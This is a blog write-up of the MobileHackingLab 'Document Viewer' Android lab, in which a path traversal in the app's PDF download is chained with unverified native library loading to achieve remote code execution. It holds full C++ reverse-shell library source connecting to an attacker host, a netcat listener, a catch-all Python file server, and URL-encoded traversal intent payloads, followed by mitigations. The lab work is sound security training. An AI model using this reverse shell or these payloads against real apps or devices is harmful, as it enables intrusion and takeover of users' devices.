Skip to content

Write-up: MobileHackingLab - Document Viewer

Updated: at 04:30 PM

Introduction

Document Viewer is a lab from MobileHackingLab where you achieve remote code execution by combining two vulnerabilities together.

The first vulnerability is a path traversal vulnerability that allows you to download a remote file and save it anywhere in your internal app sandbox.

The second vulnerability leverages a flaw where the application will load and execute a native library without verifying that it is from a trusted source.

By combining these two vulnerabilities you are able to download a malicious native library and have the application load it, which results in remote code execution.


Methodology

For this challenge, I will perform the following tasks:


Explore the application

The application is fairly simple and only contains a single screen.

Loading a PDF from the file system

When you tap the Load PDF button, it will open an intent, which will allow you to select a PDF file from the file system.

After you have selected a PDF from the file system, it will render in the UI.

PDF landing screenPDF load screenPDF render screen

Loading a PDF using a URI (Intent)

According to the lab, you should be able to load a PDF from a URL, but I did not see this anywhere in the UI.

After reading the source code, I found out how to do this. I will discuss the details later, for now you can use ADB to open a remote PDF.

For this to work, you also need to specify a URL to a PDF - this can be any remote URL. For this test, I am going to use a local instance I have available.

adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://<IP>/TestPDF.pdf"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=http://<IP>/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }

The command can be broken down to:

The above items all correlate to the AndroidManifest entry for the MainActivity

<activity
    android:name="com.mobilehackinglab.documentviewer.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/pdf"/>
    </intent-filter>
</activity>

Executing the above command will open the MainActivity, download the PDF from the URL specified, and render it.

PDF landing screenPDF load screen

Identify the dynamic code loading vulnerability

When reversing APK files, I like to use jadx.

It has a nice UI which allows you to select the APK file, and then it will perform the decompilation steps in the background.

jadx-gui load screen

Looking through the MainActivity class, there are some interesting parts


// ...

private final native void initProFeatures();

// ...

public void onCreate(Bundle savedInstanceState) {
    // ...
    loadProLibrary();
    if (this.proFeaturesEnabled) {
        initProFeatures();
    }
}

// ...

private final void loadProLibrary() {
    try {
        String abi = Build.SUPPORTED_ABIS[0];
        File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
        File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
        System.load(libraryFile.getAbsolutePath());
        this.proFeaturesEnabled = true;
    } catch (UnsatisfiedLinkError e) {
        Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
        this.proFeaturesEnabled = false;
    }
}

loadProLibrary()

This method loads a native library from the file system.

The code constructs a path by doing the following:

variablevalue
abix86_64
libraryFolder/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
libraryFile/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so
proFeaturesEnabledfalse

If the native library loads successfully, it will set a boolean proFeaturesEnabled to true, otherwise if any exception is raised, this boolean will be set to false.

onCreate()

This method invokes the loadLibrary() method, and right after that, it checks the boolean flag previously mentioned.

If the boolean is true, it will execute the native method initProFeatures() on the native library.

If the boolean is false, it will skip this part and not attempt to initialize the native library.

initProFeatures()

This method calls the native library and attempts to run a C++ method called initProFeatures()

Locate the library on the device

Let’s investigate the file system to see if the library actually exists

adb root
# restarting adbd as root

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer
# total 52
# drwx------   5 u0_a209 u0_a209        4096 2024-10-15 18:50 .
# drwxrwx--x 244 system  system        16384 2024-10-15 18:50 ..
# drwxrws--x   2 u0_a209 u0_a209_cache  4096 2024-10-15 18:50 cache
# drwxrws--x   2 u0_a209 u0_a209_cache  4096 2024-10-15 18:50 code_cache
# drwxrwx--x   2 u0_a209 u0_a209        4096 2024-10-15 19:48 files

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files
# total 24
# drwxrwx--x 2 u0_a209 u0_a209 4096 2024-10-15 19:48 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# -rw------- 1 u0_a209 u0_a209   24 2024-10-15 19:48 profileInstalled

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# ls: /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64: No such file or directory

Interesting, the native library paths and library itself doesn’t seem to exist.

What happens if you put your own library there? Will it execute it or fail? Let’s see.

Creating your own native library

I tried using metasploit to generate a shared library payload, but for some reason it did not want to work.

I was able to manually run the binary on the device, but as soon as I tried to load it through an actual application, it complained about it.

Next, I decided to follow the more traditional approach and build the shared library myself using the Android NDK.

Lucky for me, someone already did this, and I was able to use their code and slightly modify it.

#include <jni.h>
#include <string>
#include <unistd.h>
#include <arpa/inet.h>

#define REMOTE_HOST "" // Attack machine IP
#define REMOTE_PORT 9999 // Attack machine port
#define SYSTEM_COMMAND "/bin/sh"

void launch_reverse_shell() {

    int rsSocket;

    struct sockaddr_in socketAddress{};

    // configure socket address
    socketAddress.sin_family = AF_INET;
    socketAddress.sin_addr.s_addr = inet_addr(REMOTE_HOST);
    socketAddress.sin_port = htons(REMOTE_PORT);

    // create socket connection
    rsSocket = socket(AF_INET, SOCK_STREAM, 0);
    connect(rsSocket, (struct sockaddr *) &socketAddress, sizeof(socketAddress));

    // redirect std to socket
    dup2(rsSocket, 0); // stdin
    dup2(rsSocket, 1); // stdout
    dup2(rsSocket, 2); // stderr

    // get shell
    std::system(SYSTEM_COMMAND);
}

extern "C" JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(
        JNIEnv *env,
        jobject /* this */) {
    launch_reverse_shell();
}

I am not a C++ expert, and I am sure there are a few things that can be improved with the code, but for now it works.

Two important things here:

<uses-permission android:name="android.permission.INTERNET" />

Copy the new library to the device

Create the library folder structure and copy the library to the device

adb shell mkdir -p /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64

adb push libdocviewer_pro.so /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# libdocviewer_pro.so: 1 file pushed, 0 skipped. 119.3 MB/s (4912 bytes in 0.000s)

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# total 28
# drwxrwxrwx 2 u0_a209 u0_a209 4096 2024-10-17 13:45 .
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 ..
# -rw-r--r-- 1 u0_a209 u0_a209 4912 2024-10-17 13:45 libdocviewer_pro.so

Great, the file is there, but we will need to do a little bit of extra manual work.

The newly created path and library file need the same permissions as the application.

To find the username of the application, we can list the original internal storage path files

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/
# total 52
# drwx------   5 u0_a209 u0_a209        4096 2024-10-15 18:50 .
# drwxrwx--x 245 system  system        16384 2024-10-16 00:09 ..
# drwxrws--x   2 u0_a209 u0_a209_cache  4096 2024-10-15 18:50 cache
# drwxrws--x   2 u0_a209 u0_a209_cache  4096 2024-10-15 18:50 code_cache
# drwxrwx--x   3 u0_a209 u0_a209        4096 2024-10-15 21:37 files

On my device, the application username is u0_a209, but it will be different on your own device.

Let’s set the permissions for our library folders and files

adb shell chown -R u0_a209:u0_a209 /data/data/com.mobilehackinglab.documentviewer/files/

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/
# total 32
# drwxrwx--x 3 u0_a209 u0_a209 4096 2024-10-15 21:37 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 native-libraries
# -rw------- 1 u0_a209 u0_a209   24 2024-10-15 21:37 profileInstalled

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/
# total 24
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 .
# drwxrwx--x 3 u0_a209 u0_a209 4096 2024-10-15 21:37 ..
# drwxrwxrwx 2 u0_a209 u0_a209 4096 2024-10-17 13:45 x86_64

adb shell ls -la /data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64
# total 28
# drwxrwxrwx 2 u0_a209 u0_a209 4096 2024-10-17 13:45 .
# drwxrwxrwx 3 u0_a209 u0_a209 4096 2024-10-15 21:21 ..
# -rw-r--r-- 1 u0_a209 u0_a209 4912 2024-10-17 13:45 libdocviewer_pro.so

And lastly, listen on your attacker machine (using the port you set in the native library)

nc -lvnp 9999
# listening on [any] 9999 ...

And then we open the application from the launcher

Dynamic library loading screen

When the app opens, it loads the native library, sets the boolean to also load pro features, and right after that, it calls the initProFeatures() native method, which executes the reverse shell.

The top terminal

The ADB instance on the emulator, showing the file system.

The bottom terminal

The established reverse shell, showing the file system.

The device on the right

The emulator, stuck in the startup animation, since it executed the reverse shell and halted all other execution while it was active.

One improvement that could be made is to launch the reverse shell asynchronously and allow the app to startup normally, but my C++ knowledge is a bit limited to do that currently.


Identify the path traversal vulnerability

Let’s look a bit more into how exactly a PDF is rendered when loaded remotely.

Loading a PDF from a URL

As noted earlier, it is possible to open the application using an intent that contains a URL to remotely load a PDF.

The snippet from the AndroidManifest.xml file that allows this

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="file"/>
    <data android:scheme="http"/>
    <data android:scheme="https"/>
    <data android:mimeType="application/pdf"/>
</intent-filter>

To test this, I hosted a PDF file on my attacking machine and hosted it with a netcat listener.

I used the following intent with ADB to launch the application:

adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://192.168.110.128:8888/TestPDF.pdf"
PDF from URL screen

Let’s go through the code to understand how it all works.

If you open the MainActivity file, you will find a handleIntent() method that is used to handle the intent data sent to the Activity.

private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
        CopyUtil.INSTANCE.copyFileFromUri(data).observe(this,
        new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
            {
              super(1);
            }
            @Override
            public Unit invoke(Uri uri) {
                invoke2(uri);
                return Unit.INSTANCE;
            }
            public final void invoke2(Uri uri) {
                MainActivity mainActivity = MainActivity.this;
                Intrinsics.checkNotNull(uri);
                mainActivity.renderPdf(uri);
            }
        }));
    }
}

The above snippet will execute the following actions:

Let’s review the code for the second step in this process.

Copying a file from a URI

If you look at the CopyUtil class, and you follow the method calls, you will eventually reach this snippet.

public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
    Intrinsics.checkNotNullParameter(uri, "uri");
    URL url = new URL(uri.toString());
    File file = CopyUtil.DOWNLOADS_DIRECTORY;
    String lastPathSegment = uri.getLastPathSegment();
    if (lastPathSegment == null) {
        lastPathSegment = "download.pdf";
    }
    File outFile = new File(file, lastPathSegment);
    MutableLiveData liveData = new MutableLiveData();
    BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromUri$1(outFile, url, liveData, null), 2, null);
    return liveData;
}

The above snippet will execute the following actions:

When running the above snippet on my device, it had the following values:

variablevalue
urlhttp://192.168.110.128:8888/TestPDF.pdf
file/storage/emulated/0/Download
lastPathSegmentTestPDF.pdf
outFile/storage/emulated/0/Download/TestPDF.pdf

As you can see, the File will be located at /storage/emulated/0/Download/TestPDF.pdf.

After the file has been downloaded, it will be rendered by the PDF library in the application.

Is there a way that this can be abused somehow? To answer that, let’s experiment with the uri.getLastPathSegment() method.

  val url = "http://192.168.110.128:8888/TestPDF.pdf"
  val url2 = "http://192.168.110.128:8888/../../../../../../TestPDF.pdf"
  val url3 = "http://192.168.110.128:8888/..%2F..%2F..%2F..%2F..%2F..%2FTestPDF.pdf"

  val uri = Uri.parse(url)
  val uri2 = Uri.parse(url2)
  val uri3 = Uri.parse(url3)

  println("uri.lastPathSegment: ${uri.lastPathSegment}")
  println("uri2.lastPathSegment: ${uri2.lastPathSegment}")
  println("uri3.lastPathSegment: ${uri3.lastPathSegment}")

  // uri.lastPathSegment: TestPDF.pdf
  // uri2.lastPathSegment: TestPDF.pdf
  // uri3.lastPathSegment: ../../../../../../TestPDF.pdf

In theory, by using URL encoding on the filename, you could potentially end up with a filename that contains ../ which might allow you to save the file in a different directory than the intended one.

Downloading a file and controlling the output path

For this to work, you will need to use a specialized way of hosting the PDF file.

The server needs to return the same file no matter what path you give it.

The reason you need this is so that you can give it a filename (that might contain a path with ../ parts) and it will still return you the correct file.

I found a nice post about creating such a web server in Python, which I slightly modified for my needs.

from http.server import BaseHTTPRequestHandler, HTTPServer

hostname = "192.168.110.128"
port = 7777
file_to_serve = "./TestPDF.pdf"


class Server(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/pdf")
        self.end_headers()
        with open(file_to_serve, "rb") as pdf_file:
            self.wfile.writelines(pdf_file.readlines())


if __name__ == "__main__":

    server = HTTPServer((hostname, port), Server)

    print(f"Server started at: http://{hostname}:{port}")

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass

    server.server_close()

    print(f"Server stopped")

Let’s interact with it a bit to make sure it returns the same PDF for a few different paths

curl -s http://192.168.110.128:7777 -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c  TestPDF.pdf

curl -s http://192.168.110.128:7777/some/other/path -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c  TestPDF.pdf

curl -s http://192.168.110.128:7777/TestPDF.exe -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c  TestPDF.pdf

curl -s http://192.168.110.128:7777/TestPDF.so -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c  TestPDF.pdf

curl -s http://192.168.110.128:7777/..%2F..%2F..%2F..%2F..%2F..%2FTestPDF.pdf -o TestPDF.pdf && sha256sum TestPDF.pdf
# 80a4d8a1705200748b257fc6e772f86971bb83c3cef4684a6c7364886014999c  TestPDF.pdf

It doesn’t matter what we send it; it will always return the file that is being hosted.

Let’s create a new directory in the downloads directory and try to get the application to save the file there.

emu64xa:/storage/emulated/0/Download/New # ls -la
# total 0

adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://192.168.110.128:7777/..%2F..%2F..%2F..%2Fstorage%2Femulated%2F0%2FDownload%2FNew%2FTestPDF.pdf"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=http://192.168.110.128:7777/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }

emu64xa:/storage/emulated/0/Download/New # ls -la
# total 36
# -rw-rw---- 1 u0_a185 media_rw 30914 2024-10-17 20:36 TestPDF.pdf

It worked! By changing the URL we send to the web server, we can control where the file is stored on the device.

Let’s try and store a file inside the application’s directory

emu64xa:/data/data/com.mobilehackinglab.documentviewer/files # ls -la
# total 24
# drwxrwx--x 2 u0_a209 u0_a209 4096 2024-10-17 20:41 .
# drwx------ 5 u0_a209 u0_a209 4096 2024-10-15 18:50 ..
# -rw------- 1 u0_a209 u0_a209   24 2024-10-15 21:37 profileInstalled

adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "http://192.168.110.128:7777/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2FTestPDF.pdf"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=http://192.168.110.128:7777/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }

emu64xa:/data/data/com.mobilehackinglab.documentviewer/files # ls -la
# total 60
# drwxrwx--x 2 u0_a209 u0_a209  4096 2024-10-17 20:42 .
# drwx------ 5 u0_a209 u0_a209  4096 2024-10-15 18:50 ..
# -rw------- 1 u0_a209 u0_a209 30914 2024-10-17 20:42 TestPDF.pdf
# -rw------- 1 u0_a209 u0_a209    24 2024-10-15 21:37 profileInstalled

Success! We can store files within the application directory by crafting a special filename and requesting it from the web server.


Create the exploit payload

Most of the work has already been done, now just to put everything together.

For this exploit to work, the following needs to happen:

Creating the filename

The application expects the native library to be at:

/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so

The application originally stores the file at:

/storage/emulated/0/Download/

We need to traverse back to root and then append the new path at the end:

../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so

Finally, replace all the / with %2F:

..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so

My initial payload didn’t work the first time, it required you to reopen the app before it would trigger.

I researched a bit, and changing it from /data/data to use /data/user/0 seems to do the trick and execute on the first try.

I suspect this has something to do with symlinking between /data/user/0 and /data/data, but I could not find a definite source confirming this.

My final filename changed to:

..%2F..%2F..%2F..%2Fdata%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so


Execute the exploit payload and gain reverse shell

Here is a screenshot when everything is run together

Run exploit screenshot

Top left terminal

The ADB shell, showing the file system on the device before and after execution.

Bottom left terminal

The ADB command that starts the intent with the malicious filename.

Top right terminal

The Python script serving the malicious native library.

Bottom right terminal

The reverse shell received after executing the start intent command.


Mitigation

A few things I would implement that would help to prevent this type of attack from happening.

Digitally sign the native library

After building the library, you can create a digital signature for the library.

Before loading the library in your application, you can verify this signature to make sure you are loading the intended library.

If a digital signature is not possible, you can even use a simple checksum validation, it’s better than not checking anything at all.

PDF validation

The file being downloaded should be validated to ensure it is in fact a PDF file that has been downloaded.

There are various libraries available that can perform this validation, and they usually check the file Media Type to determine if it is a valid PDF based on an RFC.

Generated filenames for downloads

Instead of using the original filename from the URL you can generate a random filename for each downloaded file.

This would discard any malicious filenames supplied by the user and prevent the traversal attack.


Final thoughts

This was a fun challenge to solve and had many parts to chain together.

Another great example of how two single vulnerabilities might not seem like a big problem on their own until you chain them together for devastating results.

It was nice to have a refresher on the Android NDK and C++, I haven’t worked with it in a few years.

At some point, I could not get my reverse shell to work in my native library, and I struggled quite a bit to figure out why.

In the end, I realized that the demo application I was using to test the native library did not have the android.permission.INTERNET permission in the AndroidManifest :D